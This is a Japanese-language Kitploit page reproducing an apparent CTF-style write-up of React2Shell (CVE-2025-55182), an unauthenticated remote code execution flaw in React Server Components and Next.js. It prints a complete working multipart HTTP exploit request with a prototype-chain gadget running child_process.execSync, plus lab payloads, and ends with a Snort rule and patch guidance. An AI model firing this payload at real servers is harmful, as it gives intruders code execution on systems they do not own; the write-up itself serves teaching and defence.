Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
React2Shell-CVE-2025-55182 — React2Shell CVE-2025-55182: 認証されていない安全でないデシリアライゼーションがReact Server Componentsにあり、Flightプロトコルを介して確実なリモートコード実行に至る。 | Kitploit
ツール/GitHubGitHub/adityabhatt3010/react2shell-cve-2025-55182
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティCTFペネトレーションテスト学習と教育ペイロード開発

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
GitHubadityabhatt3010/react2shell-cve-2025-55182

React2Shell-CVE-2025-55182

React2Shell CVE-2025-55182: 認証されていない安全でないデシリアライゼーションがReact Server Componentsにあり、Flightプロトコルを介して確実なリモートコード実行に至る。

リポジトリを見る
711ヶ月前未レビュー

🎯 React2Shell(CVE-2025-55182):React Server Componentsから完全なRCEへ

難易度:中級 → 上級
カテゴリ:Web Exploitation | Deserialization | RCE

Cover


🧩 タスク1:はじめに — React2Shellがなぜ重大な問題なのか

CVE-2025-55182は、React2Shellというあだ名で知られ、防御側を即座に不安にさせる脆弱性のひとつです😬。2025年12月に発見され、CVSSスコア10.0を記録しています。これは、単なるエッジケースのバグではないことを既に示しています。

その核心は、この脆弱性がReact Server Components(RSC) と、それらを基盤とするフレームワーク(特にNext.js)に影響を与えることです。恐ろしい点は?

👉 認証不要のリモートコード実行(RCE) 👉 単一の細工されたHTTPリクエスト 👉 デフォルト設定が脆弱

ログイン不要。特別な権限不要。ただ1つの適切に作成されたリクエストだけです。

🔥 影響を受けるReactパッケージ

  • react-server-dom-webpack
  • react-server-dom-parcel
  • react-server-dom-turbopack

✅ 修正済みバージョン

  • 19.0.1
  • 19.1.2
  • 19.2.1

このルームでは、このバグがなぜ存在するのか、どのように悪用されるのか、そして防御側が何をできるのかを説明します。

フラグ: 回答不要。


🧠 タスク2:React Server ComponentsとFlightプロトコル

悪用の前に、アーキテクチャの明確化が必要です。

React Server Componentsとは?

React Server Components(React 19で導入)は、Reactアプリの一部をブラウザではなくサーバー上で実行できるようにします。つまり:

  • 重い計算はサーバーサイドに留まる ⚙️
  • クライアントはレンダリングされた出力のみを受信 📦
  • パフォーマンス向上、バンドルサイズ縮小

登場:React Flight ✈️

クライアントとサーバー間の通信は、React Flightプロトコルを介して行われます。このプロトコルは、クライアントでデータをシリアライズし、サーバーでデシリアライズします。

特別なマーカーを使用します:

  • $@ → チャンク参照

  • $B → Blob参照

  • コロン記法によるプロパティパス 例:

    root@kitploit:~
    $1:constructor:constructor
    

⚠️ そして、このシリアライズロジックこそが問題の発生源です。

質問: Blob参照を示す記号は何ですか? ✅ 回答: $B


💣 タスク3:コア脆弱性 — 安全でないデシリアライズ

CVE-2025-55182の核心には、古典的な安全でないデシリアライズの欠陥があります。

脆弱なパターンを見てみましょう(以下は切り取らないでください👇):

root@kitploit:~
function requireModule(metadata) {  
 var moduleExports = __webpack_require__(metadata[0]);  
 // ... 追加のロジック ...  
 return moduleExports[metadata[2]];  // 脆弱な行  
}  

なぜ危険なのか?

JavaScriptでは、ブラケット記法:

root@kitploit:~
obj[someKey]

は、エクスポートされたプロパティのみへのアクセスに制限されません。プロトタイプチェーン全体を辿ります。

ここで重要な洞察が入ります👀:

  • すべてのJavaScript関数には.constructorがある
  • constructorはFunctionコンストラクタを指す
  • Function("コード") = 任意のJS実行

Flight参照の武器化

Flightプロトコルがコロン区切りのパスを許可するため、攻撃者は以下を送信できます:

root@kitploit:~
$1:constructor:constructor

これは次のように解決されます:

  1. モジュールチャンクを取得
  2. .constructorにアクセス
  3. 再び.constructorにアクセス → Function

この時点でゲームオーバー🎮です。

フラグ: 回答不要。


🧨 タスク4:悪用チェーン — バグからRCEへ

それでは、maple3142のPoCをステップごとに分解しましょう。

🧩 ステージ1:偽のチャンクオブジェクト

攻撃者は、偽のチャンクオブジェクトを含むマルチパートリクエストを送信します:

root@kitploit:~
{  
 "then": "$1:__proto__:then",  
 "status": "resolved_model",  
 "reason": -1,  
 "value": "{\\"then\\":\\"$B1337\\"}",  
 "_response": {  
   "_prefix": "process.mainModule.require('child_process').execSync('xcalc');",  
   "_chunks": "$Q2",  
   "_formData": {  
     "get": "$1:constructor:constructor"  
   }  
 }  
}

このオブジェクトは、Reactの内部チャンク構造を模倣しています。 thenをChunk.prototype.thenに指すことで、Reactは攻撃者が制御するロジックを待機するように騙されます。


🧩 ステージ2:Blobハンドラの悪用

$B1337マーカーはBlobデシリアライズハンドラをトリガーし、内部で以下を実行します:

root@kitploit:~
response._formData.get(response._prefix + id)

しかし、私たちは以下を汚染しています:

  • _formData.get → Function
  • _prefix → 悪意のあるJS

結果として実行されるコード:

root@kitploit:~
Function("process.mainModule.require('child_process').execSync('xcalc');1337")

💥 任意のJavaScript実行が達成されました。


🧩 ステージ3:OSコマンド実行

PoCは以下を実行します:

root@kitploit:~
process.mainModule
  .require('child_process')
  .execSync('xcalc')

これは簡単に次のものに置き換えられます:

  • リバースシェル
  • 機密情報の外部送信
  • ファイル読み取り
  • クラウド資格情報の盗難 ☠️

フラグ: 回答不要。


📦 タスク5:完全なHTTP PoCの内訳

以下が完全なエクスプロイトリクエストです(そのまま、切り取らずに):

root@kitploit:~
POST / HTTP/1.1  
Host: localhost  
Next-Action: x  
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad

------WebKitFormBoundaryx8jO2oVc6SWP3Sad  
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}  
------WebKitFormBoundaryx8jO2oVc6SWP3Sad  
Content-Disposition: form-data; name="1"

"$@0"  
------WebKitFormBoundaryx8jO2oVc6SWP3Sad  
Content-Disposition: form-data; name="2"

[]  
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--  

(…マルチパートボディは続く…)

注目すべき重要な点 👇

  • Next-ActionヘッダーがServer Actionsをトリガー
  • multipart/form-dataは必須
  • $@0が自己参照を作成
  • $B1337がBlobロジックをトリガー
  • constructor:constructorがFunctionにつながる

これは偶然ではありません。精密に設計されたチェーンです。


🌍 影響を受けるエコシステム

  • React: 19.0.0, 19.1.0, 19.1.1, 19.2.0

  • Next.js:

    • ≥14.3.0-canary.77
    • 全15.x
    • 初期の16.x
  • その他: React Router (RSC), Waku, Redwood SDK

📊 Wizの調査:**クラウド環境の39%**が露出 🌐 Shodan:571k以上のReactサーバー、444k以上のNext.js

これは…かなりの数です😶


🧪 タスク6:ラボでの悪用

まずRepeaterで、新しいHTTPリクエストを作成し、ターゲットを選択します。

1

Burp Suite Repeaterを使用して、ペイロードを送信します:

root@kitploit:~
execSync('id')

2

そして後で:

root@kitploit:~
execSync('whoami')

3

✅ 結果

  • ユーザー: ubuntu

  • フラグ:

    root@kitploit:~
    {React-19.2.0}
    

クリーンで信頼性が高く、再現可能な悪用💀


🛡️ タスク7:検出と防御

防御側にとっての良いニュース👮‍♂️ — 悪用は痕跡を残します。

🔎 攻撃の兆候

  • Next-Action ヘッダー
  • multipart/form-data
  • "status":"resolved_model"
  • "then":"$1:__proto__:then"

これらは通常のユーザートラフィックに決して現れるべきではありません。


🚨 Snortルール(v3)

root@kitploit:~
alert http any any -> $LAN_NETWORK any (
    msg:"Potential Next.js React2Shell / CVE-2025-66478 attempt";
    flow:to_server,established;
    content:"Next-Action"; http_header; nocase;
    content:"multipart/form-data"; http_header; nocase;
    pcre:"/Content-Disposition:\s*form-data;\s*name=\"0\"/s";
    pcre:"/\"status\"\s*:\s*\"resolved_model\"/s";
    pcre:"/\"then\"\s*:\s*\"\$1:__proto__:then\"/s";
    classtype:web-application-attack;
    sid:6655001;
    rev:1;
)

🧾 OSQuery — 脆弱なパッケージの検出

root@kitploit:~
{
  "queries": {
    "detect_rev2shell_react_server_components": {
      "query": "SELECT name, version, path FROM npm_packages WHERE ...",
      "interval": 3600
    }
  }
}

以下に最適:

  • CI/CDパイプライン
  • エンドポイント監査
  • 本番前チェック

4


🧠 最終考察

React2Shellは、以下の教科書的な例です:

  • 安全でないデシリアライズがなぜ致命的なのか
  • プロトタイプチェーンがどのようにあなたを裏切るのか
  • 「デフォルト設定」がなぜ危険なのか

パッチ済みバージョンがインストールされ、npm auditの推奨事項に従えば、エクスプロイトは完全に無効化されます ✅。

⚠️ 許可されたラボ以外でテストしないでください。
🔥 常に迅速にパッチを適用してください。
🧠 バグがなぜ存在するのかを理解してください — 悪用方法だけでなく。


⭐ フォロー&つながる

この記事を楽しんでいただけたなら、またはサイバーセキュリティ、CTF、VAPTに関する私の活動に興味があれば:

🔗 GitHub: https://github.com/AdityaBhatt3010
💼 LinkedIn: https://www.linkedin.com/in/adityabhatt3010/
✍️ Medium: https://medium.com/@adityabhatt3010

ハッピーハッキング — 責任を持って🗿🚀


ツールをダウンロード